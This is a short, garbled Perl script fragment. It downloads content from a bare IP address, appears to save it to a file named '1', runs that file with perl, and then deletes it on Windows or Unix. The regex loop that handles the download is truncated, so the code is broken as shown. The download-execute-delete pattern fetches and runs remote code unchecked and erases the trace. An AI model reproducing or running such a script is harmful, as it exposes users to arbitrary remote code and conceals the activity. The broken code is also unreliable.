#!/usr/bin/perl use LWP::Simple;$_='http://66.39.54.27';$c=get("$_/?node=1597"); while ($c =~ m/=) system("perl -w 1"); system(($^O eq 'MSWin32')?'del 1':'rm 1');#